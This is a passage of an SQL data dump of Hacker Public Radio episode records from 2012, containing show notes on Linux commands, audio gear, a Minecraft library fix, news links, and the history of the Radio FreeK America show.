\r\nfind.\r\n\r\nI support continuing the practice of bumping new hosts up in the queue.   \r\nIt\'s a recognition of effort and a motivator.  Frankly, I found it a blast  \r\n(if an intimidating one) to look at my podplayer and see my own name  \r\nlooking back at me.\r\n\r\n> Perhaps there needs to be some limit to the number of pre-schedulable  \r\n> slots per week and/or month that we make available, so  \r\n\r\nThis might also be a good idea and it speaks to my concern of HPR\'s  \r\nturning in to a line-up of  a few scheduled shows, rather than a platform  \r\nthat\'s open to newbies like me.\r\n\r\nOn the other hand, many persons have responded to the need for shows that  \r\nKen sounded last fall, not only with shows, but by airing promos on their  \r\nown podcasts and websites, which leads to exposre which leads to shows (by  \r\nthe way, I think this flowering of support is a tribute to HPR and to the  \r\nplace it has amongst the community).\r\n\r\nThe flowering may yet wither and need to be watered anew.  In other words,  \r\nonce the enthusiasm wears off, Ken might be having to appeal for shows  \r\nagain.\r\n\r\nIn other words, I agree with some sort of limit and I lean towards a  \r\nmonthly one, but have no idea what would be a reasonable one.  If I were  \r\nto try to word that as a guideline, it might come out like \"the number of  \r\nscheduled shows and the intervals between them that HPR can commit to is  \r\naffected by the number of submissions\" and leave it at that--that allows  \r\nwiggle-room for adjusting to the realities of now.\r\n\r\n> that there is still room to play shows from our normal que, but we-as a  \r\n> group decided to ask people to produce content for us, and several  \r\n> people have stepped up and delivered. Perhaps this is a situation where  \r\n> more than one show should be posted per day. I don\'t know.  \r\n\r\n\"The following is an HPR special presentation . . . .\"\r\n\r\nI like it.\r\n\r\nJust my two cents.\r\n\r\nOnce again, thanks for the nice welcome.  This is a good place to be.  (I  \r\nhave just cashed in some rewards points for a decent headset.)\r\n\r\nFrom: Ken Fallon \r\nDate: Wed, 9 May 2012 07:10:43 +0200\r\n\r\nI\'ve removed the extended calendar so that we have a better view of\r\nwhat shows are in the queue. There are under four weeks of shows left,\r\nacceptable but hardly anything to celebrate about. Without TGTMNews\r\nand the syndicated shows I would have been back begging for shows by\r\nnow.\r\n\r\nJust something to keep in mind.\r\n\r\nKen.\r\n\r\nFrom: Cobra 2 \r\nDate: Wed, 9 May 2012 13:18:51 -0300\r\n\r\nDeepgeek. I just wanted to apologize for using words which caused you to\r\nfeel like I don\'t appreciate the work that you do every week. (I pull down\r\nthe whole tgtm feed) I\'m not going to defend or back down from what I said.\r\nBut I just want you to know that what YOU do is appreciated. You\'ve been a\r\npart of this community for as long as I can remember. You also put most of\r\nus to shame on contributing content. So i\'m going to go back to my corner\r\nand attempt to not crush people next time I crawl out of my hole.\r\n\r\nSorry again dude.\r\n\r\n--cobra2\r\n\r\nFrom: Frank Bell \r\nDate: Sat, 12 May 2012 17:39:48 -0400\r\n\r\nOn Wed, 9 May 2012 07:10:43 +0200\r\nKen Fallon &lt;ken.fallon@gmail.com&gt; wrote:\r\n\r\n> I\'ve removed the extended calendar so that we have a better view of\r\n> what shows are in the queue.  \r\n\r\nThat is much easier to read.  Thank you.\r\n\r\nI\'m planning to do a simple tutorial on prepping pictures for posting to \r\nwebsite with the GIMP.  I started my outline today and hope to have it done \r\nwithin two weeks.\r\n</pre>\r\n',159,47,1,'CC-BY-SA','Community News',0,2129,1),
(1002,'2012-06-05','LiTS 008: free: Understanding Linux Memory Usage',853,'The free command and memory usage','<p>\r\nIn today\'s show Dann explains to us what it means to be free. \r\n</p>\r\n<p>\r\n<em>\r\nThe free command is a handy snapshot into your systems memory and how much of it is being used. In conjunction with other tools like top you can begin to understand where your system resources are being utilized and weed out potential bottlenecks and bugs. But before jumping into the deep end in system analysis, you need to have a decent grasp on how the Linux kernel utilizes memory, or your initial observations may send you tearing through the interwebs looking for a solution to a problem that does not exist.\r\n</em>\r\n</p>\r\n<p>\r\nAs ever catch the complete shownotes and video at <a href=\"https://www.linuxintheshell.com/2012/06/05/episode-008-free-understanding-linux-memory-usage/\">https://www.linuxintheshell.com</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','free,memory',0,2811,1),
(1003,'2012-06-06','My audio gear',759,'The recording equipment of a new contributor','<p>\r\nIn today\'s show long time listener first time contributer Nido Media, submits his show on his \"Recording Gear\".\r\n</p>\r\n<p>\r\nAfter looking at the <a href=\"https://www.shure.com/americas/products/microphones/sm/sm58-vocal-microphone\">Shure SM58</a> and the <a href=\"https://www.shure.com/americas/products/microphones/sm/sm57-instrument-microphone\">Shure SM57</a> he settled on the <br />\r\n<a href=\"https://www.behringer.com/EN/Products/C-3.aspx\">Behringer c3</a><br />\r\n<img src=\"https://www.behringer.com/assets/C-3_P0262_Perspective_XL.png\" alt=\"Behringer c3\" width=\"300\" />\r\n</p>\r\n<p>\r\n<a href=\"https://www.behringer.com/EN/Products/PS400.aspx\">Behringer ps400</a><br />\r\n<img src=\"https://www.behringer.com/assets/PS400_P0489_Right_View.jpg\" alt=\"Behringer ps400\" width=\"300\" />\r\n</p>\r\n<p>\r\n<a href=\"https://www.phonic.com/en/am-55.html\">Phonic AM 55</a><br />\r\n<img src=\"https://www.tonecontrol.nl/images/products/370x320/Phonic-AM-55.png\" alt=\"Phonic AM 55\" width=\"300\" />\r\n</p>\r\n<p>\r\n<a href=\"https://us.store.creative.com/Sound-Blaster-XFi-Surround-5.1/M/B0017QQQAE.htm\">Sound Blaster XFi Surround 5.1</a><br />\r\n<img src=\"https://www.virtualdj.com/image/12436/36695/creativexfiusb.jpg\" alt=\"Sound Blaster XFi Surround 5.1\" width=\"300\" />\r\n</p>\r\n<p>\r\n<a href=\"https://ardour.org/\">https://ardour.org/</a><br />\r\n<img src=\"https://ardour.org/files/afront.png\" alt=\"Ardour\" width=\"300\" />\r\n</p>\r\n',214,0,1,'CC-BY-SA','microphone,mixer,sound card,Ardour ',0,1978,1),
(1004,'2012-06-06','Sunday Morning Linux Review Episode 34 - SUSE and Venus',4732,'SMLR episode 34','In today\'s syndicated Thursday we again return to SMLR Towers and join Mat Enders, Tony Bemus, and Mary Tomich for Sunday Morning Linux Review Episode 34 - SUSE and Venus. The complete shownotes can be found at <a href=\"https://smlr.us/?p=1082\">https://smlr.us/?p=1082</a>',158,54,1,'CC-BY-SA','SMLR,Sunday Morning Linux Review',0,2254,1),
(1005,'2012-06-07','TGTM Newscast for 2012/6/6',1700,'A newscast from Talk Geek to Me','<h2>The review</h2>\r\n<ul><li><a href=\"https://www.rawstory.com/rs/2012/05/18/chris-hedges-ruling-overturning-indefinite-detention-provision-of-ndaa-is-huge/\">Chris Hedges: Ruling overturning indefinite detention provision of NDAA is ‘huge’</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1299\">Labor Trafficking: Modern-day Slave Trade </a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Voter_ID_Laws_Could_Take_Vote_away_from_25000_Transgender_Americans_120417\">Voter ID Laws Could Take Vote away from 25,000 Transgender Americans</a></li>\r\n<li><a href=\"https://spnyc.org/home/2012/05/05/a-tale-of-two-world-views/\">A Tale of Two World Views</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13089/in_search_of_stripper_solidarity/\">In Search of Stripper Solidarity</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13119/radio_is_about_to_get_better/\">Radio Is About to Get Better</a></li>\r\n<li><a href=\"https://torrentfreak.com/judge-an-ip-address-doesnt-identify-a-person-120503/\">Judge: An IP-Address Doesn’t Identify a Person (or BitTorrent Pirate)</a></li>\r\n<li><a href=\"https://torrentfreak.com/megauploads-kim-dotcom-refuses-to-give-up-passwords-120523/\">Megaupload’s Kim Dotcom Refuses to Give Up Passwords</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/05/netherlands-passes-net-neutrality-legislation\">The Netherlands Passes Net Neutrality Legislation</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/04/picture-worth-thousand-words-including-your-location\">A Picture is Worth a Thousand Words, Including Your Location</a></li></ul>\r\n<h3>Other Headlines:</h3>\r\n<ul><li><a href=\"https://perspectives.mvdirona.com/2012/05/23/UrsHolzleOpenNetworkingSummit2012.aspx\"> Urs Holzle @ Open Networking Summit 2012</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13253/why_a_cyber_security_bill_will_pass/\">Why A Cyber Security Bill Will Pass</a></li>\r\n<li><a href=\"https://articles.chicagotribune.com/2012-05-25/news/sns-rt-us-usa-security-lawsuitbre84p01h-20120525_1_detention-new-law-preliminary-injunction-bars\">U.S. asks judge to undo ruling against military detention law</a></li>\r\n<li><a href=\"https://news.infoshop.org/article.php?story=20120530003234993\">Sex Work: Solidarity Not Salvation</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1294\">A Spectre Is Haunting Europe: The People Won\'t Listen!</a></li></ul>\r\n<p>News from \"rawstory.com,\" \"inthesetimes.com,\" \"spnyc.org,\" and \"allgov.com,\" and audio for \"MOC #139,\" used under&nbsp;arranged permission. News from \"torrentfreak.com,\" \"sacis.org.za,\" and \"eff.org\" used under permission of the Creative Commons by attribution&nbsp;license. News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/05/18/chris-hedges-ruling-overturning-indefinite-detention-provision-of-ndaa-is-huge/\">https://www.rawstory.com/rs/2012/05/18/chris-hedges-ruling-overturning-indefinite-detention-provision-of-ndaa-is-huge/</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1299\">https://sacsis.org.za/site/article/1299</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Voter_ID_Laws_Could_Take_Vote_away_from_25000_Transgender_Americans_120417\">https://www.allgov.com//ViewNews/Voter_ID_Laws_Could_Take_Vote_away_from_25000_Transgender_Americans_120417</a></li>\r\n<li><a href=\"https://spnyc.org/home/2012/05/05/a-tale-of-two-world-views/\">https://spnyc.org/home/2012/05/05/a-tale-of-two-world-views/</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13089/in_search_of_stripper_solidarity/\">https://inthesetimes.com/article/13089/in_search_of_stripper_solidarity/</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13119/radio_is_about_to_get_better/\">https://inthesetimes.com/article/13119/radio_is_about_to_get_better/</a></li>\r\n<li><a href=\"https://torrentfreak.com/judge-an-ip-address-doesnt-identify-a-person-120503/\">https://torrentfreak.com/judge-an-ip-address-doesnt-identify-a-person-120503/</a></li>\r\n<li><a href=\"https://torrentfreak.com/megauploads-kim-dotcom-refuses-to-give-up-passwords-120523/\">https://torrentfreak.com/megauploads-kim-dotcom-refuses-to-give-up-passwords-120523/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/05/netherlands-passes-net-neutrality-legislation\">https://www.eff.org/deeplinks/2012/05/netherlands-passes-net-neutrality-legislation</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/04/picture-worth-thousand-words-including-your-location\">https://www.eff.org/deeplinks/2012/04/picture-worth-thousand-words-including-your-location</a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/05/23/UrsHolzleOpenNetworkingSummit2012.aspx\">https://perspectives.mvdirona.com/2012/05/23/UrsHolzleOpenNetworkingSummit2012.aspx</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13253/why_a_cyber_security_bill_will_pass/\">https://inthesetimes.com/article/13253/why_a_cyber_security_bill_will_pass/</a></li>\r\n<li><a href=\"https://articles.chicagotribune.com/2012-05-25/news/sns-rt-us-usa-security-lawsuitbre84p01h-20120525_1_detention-new-law-preliminary-injunction-bars\">https://articles.chicagotribune.com/2012-05-25/news/sns-rt-us-usa-security-lawsuitbre84p01h-20120525_1_detention-new-law-preliminary-injunction-bars</a></li>\r\n<li><a href=\"https://news.infoshop.org/article.php?story=20120530003234993\">https://news.infoshop.org/article.php?story=20120530003234993</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1294\">https://sacsis.org.za/site/article/1294</a></li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2219,1),
(1006,'2012-06-08','More Experiences Out of a Mental Hospital',798,'Recovering from Mental Health issues','<h2>Miscellaneous Radio Theater 4096</h2>\r\n<p>\r\nSigflup describes what it\'s like out of a mental hospital (<a href=\"https://hackerpublicradio.org/eps.php?id=0961\">https://hackerpublicradio.org/eps.php?id=0961</a>) and also talks about what it\'s like having schizophrenia\r\n</p>',115,71,1,'CC-BY-SA','schizophrenia,mental hospital ',0,2338,1),
(1007,'2012-06-11','My Linux Adventure, Pt. 2',1566,'The second part of Bob Wooden\'s Linux journey','<p>\r\nRelease year - 2012<br />\r\nContact Info:   <a href=\"mailto:bob.wooden@comcast.net\">bob.wooden@comcast.net</a><br />\r\n</p>\r\n<p>\r\nLinks mentioned:<br />\r\n</p>\r\n<p>\r\nKnoppix<br />\r\n<a href=\"https://www.knopper.net\">https://www.knopper.net</a><br />\r\n</p>\r\n<p>\r\nMicro$oft<br />\r\nIf you really want to find out about Micro$oft<br />\r\nget out your check book and start writing checks . . .<br />\r\n</p>\r\n<p>\r\nKDE<br />\r\n<a href=\"https://www.kde.org\">www.kde.org</a><br />\r\n</p>\r\n<p>\r\nBSA (Business Software Alliance)<br />\r\n<a href=\"https://www.bsa.org\">www.bsa.org</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/Business_Software_Alliance\">https://en.wikipedia.org/wiki/Business_Software_Alliance</a><br />\r\n</p>\r\n<p>\r\nAdobe Acrobat Reader<br />\r\n<a href=\"https://get.adobe.com/reader/\">https://get.adobe.com/reader/</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/Adobe_Acrobat_Reader\">https://en.wikipedia.org/wiki/Adobe_Acrobat_Reader</a><br />\r\n</p>\r\n<p>\r\nPhotoshop<br />\r\n<a href=\"https://www.photoshop.com/\">https://www.photoshop.com/</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/Adobe_Photoshop\">https://en.wikipedia.org/wiki/Adobe_Photoshop</a><br />\r\n</p>\r\n<p>\r\nAVG Anti-virus FREE<br />\r\n<a href=\"https://free.avg.com/us-en/homepage\">https://free.avg.com/us-en/homepage</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/AVG_%28software%29\">https://en.wikipedia.org/wiki/AVG_%28software%29</a><br />\r\n</p>\r\n<p>\r\nOpenOffice<br />\r\n<a href=\"https://www.openoffice.org\">www.openoffice.org</a><br />\r\n</p>\r\n<p>\r\nFirefox<br />\r\n<a href=\"https://www.mozilla.org/en-US/firefox/fx/\">https://www.mozilla.org/en-US/firefox/fx/</a><br />\r\n</p>\r\n<p>\r\nThunderbird<br />\r\n<a href=\"https://www.mozilla.org/en-US/thunderbird/features/\">https://www.mozilla.org/en-US/thunderbird/features/</a><br />\r\n</p>\r\n<p>\r\nCCleaner<br />\r\n<a href=\"https://www.piriform.com/ccleaner\">https://www.piriform.com/ccleaner</a><br />\r\n</p>\r\n<p>\r\nSpybot<br />\r\n<a href=\"https://www.safer-networking.org\">https://www.safer-networking.org</a><br />\r\n</p>\r\n<p>\r\nSpywareblaster<br />\r\n<a href=\"https://www.javacoolsoftware.com/spywareblaster.html\">https://www.javacoolsoftware.com/spywareblaster.html</a><br />\r\n</p>\r\n<p>\r\nCutePDF<br />\r\n<a href=\"https://www.cutepdf.com\">www.cutepdf.com</a><br />\r\n</p>\r\n<p>\r\nJK Defrag (became MyDefrag)<br />\r\n<a href=\"https://kessels.com/jkdefrag/\">https://kessels.com/jkdefrag/</a><br />\r\n<a href=\"https://www.mydefrag.com/\">https://www.mydefrag.com/</a><br />\r\n</p>\r\n<p>\r\nRealVNC<br />\r\n<a href=\"https://www.realvnc.com\">www.realvnc.com</a><br />\r\n</p>\r\n<p>\r\nIPCop<br />\r\n<a href=\"https://www.ipcop.org\">www.ipcop.org</a><br />\r\n</p>\r\n<p>\r\nSmoothwall<br />\r\n<a href=\"https://www.smoothwall.org\">www.smoothwall.org</a><br />\r\n</p>\r\n<p>\r\nVPN (Virtual Private Network)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Virtual_private_network\">https://en.wikipedia.org/wiki/Virtual_private_network</a><br />\r\n</p>\r\n<p>\r\nVNC (Virtual Network Computing)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Virtual_Network_Computing\">https://en.wikipedia.org/wiki/Virtual_Network_Computing</a><br />\r\n</p>\r\n<p>\r\nSamba<br />\r\n<a href=\"https://www.samba.org\">www.samba.org</a><br />\r\n</p>\r\n<p>\r\nUbuntu<br />\r\n<a href=\"https://www.ubuntu.com\">www.ubuntu.com</a><br />\r\n</p>\r\n<p>\r\nSuSE<br />\r\n<a href=\"https://www.suse.com\">www.suse.com</a><br />\r\n</p>\r\n<p>\r\nOpenSuSE<br />\r\n<a href=\"https://www.opensuse.org\">www.opensuse.org</a><br />\r\n</p>\r\n<p>\r\nLSI MegaRAID i4<br />\r\n<a href=\"https://en.wikipedia.org/wiki/American_Megatrends\">https://en.wikipedia.org/wiki/American_Megatrends</a><br />\r\n(American Megatrends was sold to LSI Logic in 2001)<br />\r\n</p>\r\n<p>\r\nDell CERC ATA<br />\r\n(your best bet here is to just Google the name)<br />\r\n</p>\r\n<p>\r\nUnison (created at the University of Pennsylvania)<br />\r\n<a href=\"https://www.cis.upenn.edu/~bcpierce/unison/\">https://www.cis.upenn.edu/~bcpierce/unison/</a><br />\r\n</p>\r\n<p>\r\nIBM<br />\r\n<a href=\"https://www.ibm.com\">www.ibm.com</a><br />\r\n</p>\r\n<p>\r\nPBX (Private Branch eXchange)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Private_branch_exchange#Private_branch_exchange\">https://en.wikipedia.org/wiki/Private_branch_exchange#Private_branch_exchange</a><br />\r\n</p>\r\n<p>\r\nVOIP (Voice Over Internet Protocol)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Voice_over_IP\">https://en.wikipedia.org/wiki/Voice_over_IP</a><br />\r\n<a href=\"https://www.voip-info.org/\">https://www.voip-info.org/</a>       (VERY GOOD source of non-objective info)<br />\r\n</p>\r\n<p>\r\nTrixbox CE<br />\r\n<a href=\"https://fonality.com/trixbox/trixbox-line-asterisk-based-ip-pbx-products\">https://fonality.com/trixbox/trixbox-line-asterisk-based-ip-pbx-products</a><br />\r\n</p>\r\n<p>\r\nDigium  (\"port\" card to connect \'POTS\' lines to Trixbox.)<br />\r\n<a href=\"https://www.digium.com\">www.digium.com</a><br />\r\n</p>\r\n<p>\r\nIVR (Interactive Voice Recognition)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Interactive_voice_response\">https://en.wikipedia.org/wiki/Interactive_voice_response</a><br />\r\n</p>\r\n<p>\r\nDebian<br />\r\n<a href=\"https://www.debian.org\">www.debian.org</a><br />\r\n</p>\r\n<p>\r\nHylafax<br />\r\n<a href=\"https://www.hylafax.org\">www.hylafax.org</a><br />\r\n</p>\r\n<p>\r\nThis is the \'how to\' Debian page I referenced<br />\r\n<a href=\"https://www.aboutdebian.com/fax.htm\">https://www.aboutdebian.com/fax.htm</a><br />\r\n</p>\r\n<p>\r\nClonezilla<br />\r\n<a href=\"https://clonezilla.org/\">https://clonezilla.org/</a><br />\r\n</p>\r\n<p>\r\nssh<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Secure_Shell\">https://en.wikipedia.org/wiki/Secure_Shell</a><br />\r\n</p>\r\n<p>\r\nSmartmontools<br />\r\n<a href=\"https://sourceforge.net/apps/trac/smartmontools/wiki\">https://sourceforge.net/apps/trac/smartmontools/wiki</a><br />\r\n</p>\r\n',206,29,1,'CC-BY-SA','linux,knoppix,kde,BSA,OpenOffice,Firefox,Thunderbird,Samba,Ubuntu,SuSE,OpenSuSE,Debian',0,2335,1),
(1008,'2012-06-12','Fix the \"Sticky Keys\" Bug in Minecraft',636,'A way to correct a Minecraft bug','<p>\r\n  A quickie episode by <a href=\"https://micro.fragdev.com/windigo/\">Windigo</a>\r\n  that covers a fix for the \"Sticky Keys\" bug in <a href=\r\n  \"https://minecraft.net\">Minecraft</a> on Linux.\r\n</p>\r\n<p>\r\n  The \"Sticky Keys\" bug causes the Minecraft client to act as if a button\r\n  hasn\'t been released when it has - which causes your character, Steve, to\r\n  suffer some awful consequences as a result (depending on what situation\r\n  you are in when the bug occurs).\r\n</p>\r\n<p>\r\n  Upgrading the <a href=\"https://lwjgl.org\">LWJGL</a> libraries/drivers that\r\n  come with Minecraft usually fixes this bug. To upgrade the drivers, do the\r\n  following:\r\n</p>\r\n<ul>\r\n  <li>\r\n    Download an updated version of the LWJGL libraries\r\n    <ul>\r\n      <li>\r\n        <a href=\"https://sourceforge.net/projects/java-game-lib/files/Official%20Releases/LWJGL%202.8.0/lwjgl-2.8.0.zip/download\">LWJGL 2.8.0</a>\r\n        - Not the latest release, but worked great for me\r\n      </li>\r\n    </ul>\r\n  </li>\r\n  <li>\r\n    Copy the following files from <code>lwjgl-2.8.0/jar/</code> in the zip\r\n    file you downloaded to <code>/home/[youruser]/.minecraft/bin/</code>,\r\n    replacing the existing files there:\r\n    <ul>\r\n      <li><code>jinput.jar</code></li>\r\n      <li><code>lwjgl.jar</code></li>\r\n      <li><code>lwjgl_util.jar</code></li>\r\n    </ul>\r\n  </li>\r\n  <li>\r\n    Copy all of the files from <code>lwjgl-2.8.0/natives/</code> in the\r\n    zip file you downloaded to\r\n    <code>/home/[youruser]/.minecraft/bin/natives/</code>, again replacing the\r\n    existing files there\r\n  </li>\r\n</ul>\r\n<p>\r\n  If you still encounter issues with the new versions of the libraries, try a\r\n  newer or older version until you find one that works with your system. 2.8.0\r\n  happens to work for my setup (Debian Stable w. Sun Java), but YMMV - your\r\n  Minecraft may vary.\r\n</p>\r\n<h2>Links</h2>\r\n<ol>\r\n<li><a href=\"https://micro.fragdev.com/windigo/\">https://micro.fragdev.com/windigo/</a></li>\r\n<li><a href=\"https://minecraft.net\">https://minecraft.net</a></li>\r\n<li><a href=\"https://lwjgl.org\">https://lwjgl.org</a></li>\r\n<li><a href=\"https://sourceforge.net/projects/java-game-lib/files/Official%20Releases/LWJGL%202.8.0/lwjgl-2.8.0.zip/download\">https://sourceforge.net/projects/java-game-lib/files/Official%20Releases/LWJGL%202.8.0/lwjgl-2.8.0.zip/download</a></li>\r\n</ol>\r\n\r\n',196,0,1,'CC-BY-SA','Minecraft,LWJGL libraries ',0,2336,1),
(1009,'2012-06-13','John Sullivan Why should I care about Free software?',3190,'A talk from John Sullivan of the Free Software Foundation','John Sullivan is the Executive Director of the Free Software Foundation\r\nRecorded at the Northeast GNU/Linux Fest 2012-03-17',158,0,1,'CC-BY-SA','NELF,FSF ',0,2201,1),
(1010,'2012-06-14','John Doe on copyright infringement lawsuits',1323,'An account of being sued for copyright infringement','<a href=\"https://rfcexpress.com\">rfcexpress.com</a> -- lists copyright cases, including mine<br />\r\n<br />\r\nvarious blogs:<br />\r\n  <a href=\"https://anonsofliberty.wordpress.com\">https://anonsofliberty.wordpress.com</a><br />\r\n  <a href=\"https://dietrolldie.wordpress.com\">https://dietrolldie.wordpress.com</a><br />\r\n  <a href=\"https://fightcopyrighttrolls.com\">https://fightcopyrighttrolls.com</a><br />\r\n<br />\r\ncopy of motion to quash identity &amp; sever defendants -- they are everywhere now<br />\r\n<br />\r\n  <a href=\"https://www.eff.org/issues/file-sharing/subpoena-defense\">https://www.eff.org/issues/file-sharing/subpoena-defense</a><br />\r\n<br />\r\ncontact PAJohnDoe178@yahoo<br />\r\n',158,0,1,'CC-BY-SA','copyright,BitTorrent,subpoena',0,2536,1),
(1011,'2012-06-15','NELF interview with Robert_Schweikert of Open Suse',1122,'Interview with Robert Schweikert at NELF','<a href=\"https://www.opensuse.org/en/\">https://www.opensuse.org/en/</a>',128,78,1,'CC-BY-SA','Interview,NELF,Open Suse',0,2112,1),
(1012,'2012-06-18','LiTS 009: w command and linux load averages',1005,'Show who is logged on and what they are doing with the w command','Today\'s show is brought to you by the letter \"w\" and the number \"9\"<br />\r\n\r\nTo be more specific it\'s about the <em>w</em> command and Linux load averages<br /> and it\'s brought to you by Dann from Linux In The Shell. Dann aims to explore the use of many commands a user can run in the Bash Shell.  Tutorials include a write up with examples, an audio component about the write up, and a video component to demonstrate the usage of the command.\r\n<a href=\"https://www.linuxintheshell.com/2012/06/19/episode-009-w-who-is-there-cpu-load-averages/\">https://www.linuxintheshell.com/</a>\r\n',7,67,1,'CC-BY-SA','load average,w command',0,2596,1),
(1013,'2012-06-19','Saving Programs From TiVo',2034,'How to make copies of programs from TiVo for long-term use','<p>kmttg, which I use to download from TiVo, can be found at: <a href=\"https://code.google.com/p/kmttg/\">https://code.google.com/p/kmttg/</a></p>\r\n<p>The Java Runtime Environment should be in your distro\'s repositories, but you can also get it at: <a href=\"https://java.com/en/download/index.jsp\">https://java.com/en/download/index.jsp</a></p>\r\n<p>tivodecode is available at the kmttg site as above.</p>\r\n<p>curl, mencoder, and ffmpeg should all be found in your distro\'s repositories.</p>\r\n<p>Handbrake can be found at: <a href=\"https://handbrake.fr/downloads.php\">https://handbrake.fr/downloads.php</a></p>\r\n<p>Comskip can be found at: <a href=\"https://www.kaashoek.com/comskip/\">https://www.kaashoek.com/comskip/</a></p>\r\n<p>AtomicParsley can be found at: <a href=\"https://atomicparsley.sourceforge.net/\">https://atomicparsley.sourceforge.net/</a></p>\r\n<p>kdenlive can be found in your distro\'s repositories or at <a href=\"https://www.kdenlive.org/\">https://www.kdenlive.org/</a></p>\r\n<p>And finally, all of the information in this program can also be found at my web site at: <a href=\"https://www.zwilnik.com/?page_id=138\">https://www.zwilnik.com/?page_id=138</a></p>\r\n<br/>\r\n<p>To submit a talk for Ohio LinuxFest, please go to <a href=\"https://ohiolinux.org/callfortalks\">https://ohiolinux.org/callfortalks</a> for more information.</p>\r\n<p>Remember to support free software!</p>\r\n',198,0,1,'CC-BY-SA','TiVo,kmttg,tivodecode,curl,mencoder,ffmpeg,Handbrake,Comskip,AtomicParsley,kdenlive',0,2075,1),
(1014,'2012-06-20','Radio FreeK America 15 (2002/06/05) - Special Rax-only Episode',3850,'An RFA show from 2002, with historical notes from Wikipedia','<p>\r\n<em><strong>Syndicated Thursday</strong> provides an opportunity to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we\'ll add it to the queue.</em>\r\n</p>\r\n<p>\r\nOn every page on Hacker Public Radio we acknowledge our roots and so we now play a show that was first aired <strong>10 years and 16 days ago</strong>. Although not a typical episode of <em>Radio FreeK America 15 (2002/06/05) - Special Rax-only Episode</em>, it embodies the spirit of RFA.\r\n</p>\r\n<p>\r\nAll the old shows can be found at <a href=\"https://www.oldskoolphreak.com/radio.html\">https://www.oldskoolphreak.com/radio.html</a> and they are well worth a listen\r\n</p>\r\n<p>\r\nThe wikipedia article on RFA (<a href=\"https://en.wikipedia.org/wiki/Radio_FreeK_America\">https://en.wikipedia.org/wiki/Radio_FreeK_America</a>) has been deleted with the note: <br />\r\n<em>\r\n00:16, 12 December 2007 Maxim (talk | contribs) deleted page Radio FreeK America (Deleted because expired WP:PROD; Utterly NN Internet radio stream, defunct since 2004, without one discernible reliable source, no references on the page, and no assertion of notability. using TW)\r\n</em><br />\r\nFortunately a copy was kept at <a href=\"https://encycl.opentopia.com/term/Radio_FreeK_America\">https://encycl.opentopia.com/term/Radio_FreeK_America</a>.\r\n</p>\r\n<p><strong>IF YOU ARE A WIKIPEDIA EDITOR PLEASE CONTACT ADMIN @ HPR </strong></p>\r\n\r\n<p>\r\n<strong>Radio FreeK America</strong> was a <a href=\"https://en.wikipedia.org/wiki/Hacking\">Hacking</a> and <a href=\"https://en.wikipedia.org/wiki/Phreaking\">Phreaking</a> related <a href=\"https://en.wikipedia.org/wiki/Internet_Radio\">Internet Radio</a> show primarily based out of <a href=\"https://en.wikipedia.org/wiki/Arizona\">Arizona</a> and initially hosted by dual_parallel. The title is often abbreviated to RFA in text.\r\nThe first episode appeared on <a href=\"https://en.wikipedia.org/wiki/February_20\">February 20</a> <a href=\"https://en.wikipedia.org/wiki/2002\">2002</a>. It lasted forty five minutes and twelve seconds. The last episode aired on <a href=\"https://en.wikipedia.org/wiki/February_20\">February 20</a> <a href=\"https://en.wikipedia.org/wiki/2004\">2004</a> and lasted two hours, forty two minutes, and twenty nine seconds. During these two years, Radio FreeK America had a total of ninety nine shows (including a lost episode #76, of which no file exists).\r\n<br />\r\n<img src=\"https://encycl.opentopia.com/enimages/2540/2539317/Rfa_flag.jpg\" class=\"image\" width=\"223\" height=\"180\" alt=\"Radio FreeK America logo\" title=\"Radio FreeK America logo\" />\r\n<br />\r\nRadio FreeK America logo\r\n<p>\r\n\r\n<a name=\"History\" id=\"History\"></a>\r\n<h2>History</h2>\r\n<p>\r\ndual_parallel presented the idea for the show to two individuals at the &#091;<a href=\"https://www.phx2600.org/\" target=\"_blank\">Phoenix 2600</a>&#093; meeting, Rax and Kondor in December of 2001 or January of 2002. \"dual\" (as he later came to be known as) recorded the first \"segment\" of Radio FreeK America (RFA) on 2/2/2002. The first show was \"broadcast\" via RantRadio on 2/20/2002. The first several episodes were co-hosted by Rax and Kondor.\r\n</p>\r\n<p>\r\nThroughout the series, other guests such as <a href=\"https://en.wikipedia.org/wiki/StankDawg\">StankDawg</a> (who would later go on to develop &#091;<a href=\"https://binrev.com\" target=\"_blank\">Binary Revolution</a>&#093;,) Meme, Zapperlink, bland_inquisitor, Bi0s, and W1nt3rmut3, as well as a few other notable guests from the Telecommunications Industry, who remained nameless, became common guests and co-hosts.\r\n</p>\r\n<p>\r\nThe show originally was recorded and encoded to mp3 format and released on the website every Wednesday. Around episode nine, streaming began offered by <a href=\"https://en.wikipedia.org/wiki/Rant_Radio\">Rant Radio</a> and went out every Tuesday at 19:00 <a 